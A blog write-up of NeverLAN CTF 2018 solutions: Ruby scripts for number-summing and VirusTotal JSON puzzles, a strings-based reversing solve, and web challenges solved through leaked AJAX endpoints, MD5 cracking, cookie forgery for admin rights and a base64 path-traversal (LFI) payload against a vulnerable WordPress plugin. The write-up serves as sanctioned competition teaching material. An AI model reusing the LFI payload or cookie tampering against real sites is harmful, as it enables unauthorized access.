NeverLAN CTF 2018 - Write-ups

๐Ÿ”—Information

๐Ÿ”—Version

By Version Comment
noraj 1.0 Creation

๐Ÿ”—CTF

  • Name : NeverLAN CTF 2018
  • Website : neverlanctf.com
  • Type : Online
  • Format : Jeopardy
  • CTF Time : link

๐Ÿ”—50 - more basic math - Scripting

Author: bt

Description: The answer to this puzzle is the sum of the values in the included file.

some_more_numbers.txt

Here is what the file looks like:

1
2
3
4
5
6
7
8
9
10
11
12
$ head some_more_numbers.txt
7255203781464476
2828885612574728
7194588652600839
0838160356400418
2260177593590423
2600487782032961
9687584592734776
4989768721125644
0093176833632515
8279110029640550
[...]

Here is a quick ruby script to sum that:

1
2
3
4
5
6
7
8
#!/usr/bin/env ruby

number = 0
File.readlines('files/some_more_numbers.txt').each do |line|
number += line.to_i
end

puts number

Flag is 50123971501856573397.

๐Ÿ”—100 - even more basic math with some junk - Scripting

Author: bt

Description: The answer to this puzzle is, yet again, the sum of the values in the included file.

NOTE: If there's a space between two digits they're not part of the same value.

https://s3-us-west-2.amazonaws.com/neverlanctf/files/even_more_numbers_with_some_mild_inconveniences.txt

Same as the previous challenge + garbage.

Let's fire ruby again (see comments):

1
2
3
4
5
6
7
8
9
10
11
12
#!/usr/bin/env ruby

number = 0
File.readlines('files/even_more_numbers_with_some_mild_inconveniences.txt').each do |line|
line.split(/[,\s]/).each do |ele|
# split when there is a comma or any whitespace
number += ele.to_i
# to_i on a non-integer string will return 0 so not a problem for a sum
end
end

puts number

Flag is: 34659711530484678082.

๐Ÿ”—200 - JSON parsing 1 - Scripting

The attached file is metadata about one minute's uploads to VirusTotal.

The answer to this puzzle is a comma-separated list of the five antivirus engines that produced the highest percentage of posities in descending order.

Don't draw any conclusions about the efficacy of any antivirus products from this exercise- VirusTotal receives a mixture of malicious and non-malicious files, so it's not necessarily better to have a high ratio than a low one or the other way around here. I also have no associated with any of them. It's just a data manipulation puzzle, people =)

NOTE: The answer should be submitted with no spaces and the engine names should be exactly as they appear in the source data.

https://s3-us-west-2.amazonaws.com/neverlanctf/files/vt_minute_output.tar.bz2

What's easy with Scripting challenge is that you already know what to do, you just don't know how.

So here is my (commented) ruby script:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#!/usr/bin/env ruby

require 'json'

counter = {}

def count_detection(av, counter)
# check if av is in the counter
unless counter.key?(av[0])
counter[av[0]] = {}
end
# check if av detected the file or not
if av[1]["detected"] == true
counter[av[0]].key?(:detected) ? counter[av[0]][:detected] += 1 : counter[av[0]][:detected] = 1
else
counter[av[0]].key?(:not_detected) ? counter[av[0]][:not_detected] += 1 : counter[av[0]][:not_detected] = 1
end
end

# for each file submitted
File.readlines('files/file-20171020T1500').each do |line|
# for each antivirus, count if detected
JSON.parse(line)["scans"].each do |av|
count_detection(av, counter)
end
end

# counter contains now the number of detected and non-detected files
# we now need to calculate the percentage
unsorted = counter.map { |av, counts| [av, counts[:detected].fdiv(counts[:not_detected])] }
# and sort them by highest percentage of posities
sorted = unsorted.sort { |x,y| y[1] <=> x[1] }
# display 5 first av (comma separated list)
puts sorted[0...5].map { |av,percentage| av }.join(',')

The flag is: SymantecMobileInsight,CrowdStrike,SentinelOne,Invincea,Endgame.

๐Ÿ”—50 - Commitment Issues - Reversing

Author: @gr3yr0n1n

Description: Sometimes I feel it's hard to commit to any type of coding practices. Do you feel the same?

commitment_issues

From rabin2 (radare 2) man page:

  • -z Show strings inside .data section (like gnu strings does)
  • -i Show imports (symbols imported from libraries)
  • -I Show binary info
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
$ rabin2 -I commitment_issues
arch x86
binsz 6551
bintype elf
bits 64
canary false
class ELF64
crypto false
endian little
havecode true
intrp /lib64/ld-linux-x86-64.so.2
lang c
linenum true
lsyms true
machine AMD x86-64 architecture
maxopsz 16
minopsz 1
nx true
os linux
pcalign 0
pic true
relocs true
relro partial
rpath NONE
static false
stripped false
subsys linux
va true

Ok this is an ELF 64bits non-stripped binary, so let's see strings:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
$ rabin2 -iz commitment_issues
[Imports]
ordinal=001 plt=0x00000000 bind=WEAK type=NOTYPE name=_ITM_deregisterTMCloneTable
ordinal=002 plt=0x00000530 bind=GLOBAL type=FUNC name=printf
ordinal=003 plt=0x00000000 bind=GLOBAL type=FUNC name=__libc_start_main
ordinal=004 plt=0x00000000 bind=WEAK type=NOTYPE name=__gmon_start__
ordinal=005 plt=0x00000000 bind=WEAK type=NOTYPE name=_ITM_registerTMCloneTable
ordinal=006 plt=0x00000000 bind=WEAK type=FUNC name=__cxa_finalize
ordinal=001 plt=0x00000000 bind=WEAK type=NOTYPE name=_ITM_deregisterTMCloneTable
ordinal=003 plt=0x00000000 bind=GLOBAL type=FUNC name=__libc_start_main
ordinal=004 plt=0x00000000 bind=WEAK type=NOTYPE name=__gmon_start__
ordinal=005 plt=0x00000000 bind=WEAK type=NOTYPE name=_ITM_registerTMCloneTable
ordinal=006 plt=0x00000000 bind=WEAK type=FUNC name=__cxa_finalize

11 imports
vaddr=0x00000708 paddr=0x00000708 ordinal=000 sz=33 len=32 section=.rodata type=ascii string=flag{don't_string_me_along_man!}
vaddr=0x00000729 paddr=0x00000729 ordinal=001 sz=5 len=4 section=.rodata type=ascii string=%.4s

Flag is flag{don't_string_me_along_man!}.

๐Ÿ”—100 - ajax_not_soap - Web

ajax_not_soap

Here is the javascript embed on the login page:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
// For element with id='name', when a key is pressed run this function
$('#name').on('keypress',function(){
// get the value that is in element with id='name'
var that = $('#name');
$.ajax('webhooks/get_username.php',{
}).done(function(data){ // once the request has been completed, run this function
data = data.replace(/(\r\n|\n|\r)/gm,""); // remove newlines from returned data
if(data==that.val()){ // see if the data matches what the user typed in
that.css('border', '1px solid green'); // if it matches turn the border green
$('#output').html('Username is correct'); // state that the user was correct
}else{ // if the user typed in something incorrect
that.css('border', ''); // set input box border to default color
$('#output').html('Username is incorrect'); // say the user was incorrect
}
}
);
});
// dito ^ but for the password input now
$('#pass').on('keypress', function(){
var that = $('#pass');
$.ajax('webhooks/get_pass.php?username='+$('#name').val(),{
}).done(function(data){
data = data.replace(/(\r\n|\n|\r)/gm,"");
if(data==that.val()){
that.css('border', '1px solid green');
$('#output').html(data);
}else{
that.css('border', '');
$('#output').html('Password is incorrect');
}
}
);
});

The query will be called with AJAX on each key pressed for the username and password field.

Let's query them manually:

1
2
3
4
5
$ curl http://neverlanctf-challenges-elb-2146429546.us-west-2.elb.amazonaws.com:14043/webhooks/get_username.php
MrClean

$ curl http://neverlanctf-challenges-elb-2146429546.us-west-2.elb.amazonaws.com:14043/webhooks/get_pass.php?username=MrClean
flag{hj38dsjk324nkeasd9}

๐Ÿ”—100 - the_red_or_blue_pill - Web

http://neverlanctf-challenges-elb-2146429546.us-west-2.elb.amazonaws.com:14010/

Here is the content of the homepage:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<!DOCTYPE html>
<html>
<head>
<meta type='utf-8'>
<meta name='viewport' content='width=device-width, initial-scale=1'>
</head>

<body>
<p>
"This is your last chance. After this, there is no turning back. <br />
You take the blue pill, the story ends, you wake up in your bed and believe whatever you want to believe. <br />
You take the red pill, you stay in Wonderland, and I show you how deep the rabbit hole goes. <br />
Remember: all I'm offering is the truth. Nothing more." -The Matrix
</p>
<br />
<p>
Purvesta: "Can I have both?" <br />
-- "NO! Please don't take both!!" <br />
</p>
<br />
<a href="?red">Red Pill</a>
<a href="?blue">Blue Pill</a>
<p style="height: 90%;"></p>
</body>
<footer align='center'>&copy;purvesta</footer>
</html>

So obviously don't request blue or red but both: http://neverlanctf-challenges-elb-2146429546.us-west-2.elb.amazonaws.com:14010/?red&blue and get the flag:

1
2
3
<h1>Well you chose option 3 which clearly was stated not to do. Good job! :)</h1>
<br />
<h3>flag{breaking_the_matrix...I_like_it!}</h3>

๐Ÿ”—200 - ajax_not_borax - Web

http://neverlanctf-challenges-elb-2146429546.us-west-2.elb.amazonaws.com:14032/

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
// For element with id='name', when a key is pressed run this function
$('#name').on('keypress',function(){
// get the value that is in element with id='name'
var that = $('#name');
$.ajax('webhooks/get_username.php?username='+that.val(),{
}).done(function(data){ // once the request has been completed, run this function
data = data.replace(/(\r\n|\n|\r)/gm,""); // remove newlines from returned data
if(data==MD5(that.val())){ // see if the data matches what the user typed in
that.css('border', '1px solid green'); // if it matches turn the border green
$('#output').html('Username is correct'); // state that the user was correct
}else{ // if the user typed in something incorrect
that.css('border', ''); // set input box border to default color
$('#output').html('Username is incorrect'); // say the user was incorrect
}
}
);
});
// dito ^ but for the password input now
$('#pass').on('keypress', function(){
var that = $('#pass');
$.ajax('webhooks/get_pass.php?username='+$('#name').val(),{
}).done(function(data){
data = data.replace(/(\r\n|\n|\r)/gm,""); // remove newlines from data
if(MD5(data)==MD5(that.val())){
that.css('border', '1px solid green');
$('#output').html(data);
}else{
that.css('border', '');
$('#output').html('Password is incorrect');
}
}
);
});

Same as the previous challenge, request manually the AJAX queries:

1
2
$ curl http://neverlanctf-challenges-elb-2146429546.us-west-2.elb.amazonaws.com:14032/webhooks/get_username.php?username=whatever
c5644ca91d1307779ed493c4dedfdcb7

So the username in the form is compared to this md5 hash, let's break it with hashkiller:

1
c5644ca91d1307779ed493c4dedfdcb7 MD5 : tideade

Now let's request the password of this user:

1
2
$ curl http://neverlanctf-challenges-elb-2146429546.us-west-2.elb.amazonaws.com:14032/webhooks/get_pass.php?username=tideade
ZmxhZ3tzZDkwSjBkbkxLSjFsczlISmVkfQ==

Use the base64 string as password and the server answers us the same string.

1
2
$ printf %s 'ZmxhZ3tzZDkwSjBkbkxLSjFsczlISmVkfQ==' | base64 -di
flag{sd90J0dnLKJ1ls9HJed}

๐Ÿ”—200 - What the LFI? - Web

Author: @voldemortensen

Description: There is a file located at /var/www/blah.php Get that file to execute to retrieve the flag.

http://54.201.224.15:14099

We can install wpscan or use wpscans.com online to check if there are some vulnerabilities on this wordpress website, and there is one.

Information:

After reading the PoC writeup we know we need to generate a base64 LFI payload:

1
2
$ printf %s '../../../../../../var/www/blah.php' | base64
Li4vLi4vLi4vLi4vLi4vLi4vdmFyL3d3dy9ibGFoLnBocA==

Now let's send it:

http://54.201.224.15:14099/wp-content/plugins/sam-pro-free/sam-pro-ajax-admin.php?action=NA&wap=Li4vLi4vLi4vLi4vLi4vLi4vdmFyL3d3dy9ibGFoLnBocA==

And get the flag: flag{dont_include_files_derived_from_user_input_kthx_bai}.

๐Ÿ”—200 - Das_blog - Web

John made a new web site go check it out

http://neverlanctf-challenges-elb-2146429546.us-west-2.elb.amazonaws.com:14054

Go to the login page: http://neverlanctf-challenges-elb-2146429546.us-west-2.elb.amazonaws.com:14054/login.php

Look at the source and see some test credentials:

1
<!-- Development test account: user: JohnsTestUser, pass: AT3stAccountForT3sting -->

So log in with them and get back to the home page.

We can read a welcome message:

You have stumbled upon Das Blog

Welcome JohnsTestUser

You have DEFAULT permissions

And there are two log entries, one is containing this:

I can set posts to only show for users with special permissions!

Our cookie look like this:

1
Cookie: PHPSESSID=tuoeph7shpvg4cbg18mb72bpos; user=JohnsTestUser; permissions=user

I used burp to intercept the request and send a crafted cookie:

1
Cookie: PHPSESSID=tuoeph7shpvg4cbg18mb72bpos; user=JohnsTestUser; permissions=admin

Now the message You have ADMIN permissions is welcoming us.

And there is one new log entry:

The Key, Oh my, The Key

I know this post is only available for admins, and since I am the only admin on the blog, I decided to start keeping my passwords on here for quick access. Everyone says that it isin't a good idea, but I don't care, nobody reads this blog anyway...

flag{C00ki3s_c4n_b33_ch4ng3d_?}

๐Ÿ”—300 - tik-tik-boom - Web

http://neverlanctf-challenges-elb-2146429546.us-west-2.elb.amazonaws.com:14065/

1
2
3
4
5
6
7
8
9
$ curl --head http://neverlanctf-challenges-elb-2146429546.us-west-2.elb.amazonaws.com:14065/
HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Date: Sun, 25 Feb 2018 17:14:57 GMT
Server: Apache/2.4.10 (Debian)
Set-Cookie: username=username
Set-Cookie: password=password
X-Powered-By: PHP/5.6.33
Connection: keep-alive

So let's make a request with burp and that cookie:

1
2
3
4
5
6
7
8
9
10
GET / HTTP/1.1
Host: neverlanctf-challenges-elb-2146429546.us-west-2.elb.amazonaws.com:14065
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:57.0) Gecko/20100101 Firefox/57.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: username=username; password=password
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0

We can now see a hidden field on the source, here is the server's answer:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Date: Sun, 25 Feb 2018 17:17:14 GMT
Server: Apache/2.4.10 (Debian)
Vary: Accept-Encoding
X-Powered-By: PHP/5.6.33
Content-Length: 430
Connection: Close

<!DOCTYPE html>
<html>
<head>
<meta type='utf-8'>
<meta name='viewport' content='width=device-width, initial-scale=1'>
</head>
<body>
Current time: 17:17:14<br />Rumor has it, this thing goes boom at 23:59 purvesta's time.<br /><span hidden>username and password did not match: admin hahahaN0one1s3verGett1ngTh1sp@ssw0rd</span> </body>
<footer align='center'>&copy;purvesta</footer>
</html>

Now let's try to use those credentials as cookie:

1
2
3
4
5
6
7
8
9
10
GET / HTTP/1.1
Host: neverlanctf-challenges-elb-2146429546.us-west-2.elb.amazonaws.com:14065
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:57.0) Gecko/20100101 Firefox/57.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: username=admin; password=hahahaN0one1s3verGett1ngTh1sp@ssw0rd
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0

The hidden span is now containing this: Close, but your timing is off purvesta....

Reading an old writeup of mine [NeverLAN CTF 2017 100 - purvesta - recon](https://rawsec.ml/en/Nev rLA -CTF -2017-write-ups/#100-purvesta-recon).

I found back his linked page where I can see he his working at Twin Falls in the Idaho state of USA.

According to Twin Falls wikipedia page the time zone of the city is the following:

  • Time zone MST (UTC-7)
  • Summer (DST) MDT (UTC-6)

I looked for a way to change the timezone and trick the server but apparently the only way was to wait the right time (23h59) as Pwn Collective did (see their writeup).

A late update of the challenge also told us there was a bug in the app that, Pwn Collective said, was allowing to download the source code.

Flag was flag{You_are_really_good_at_this_timing_thing}.

Share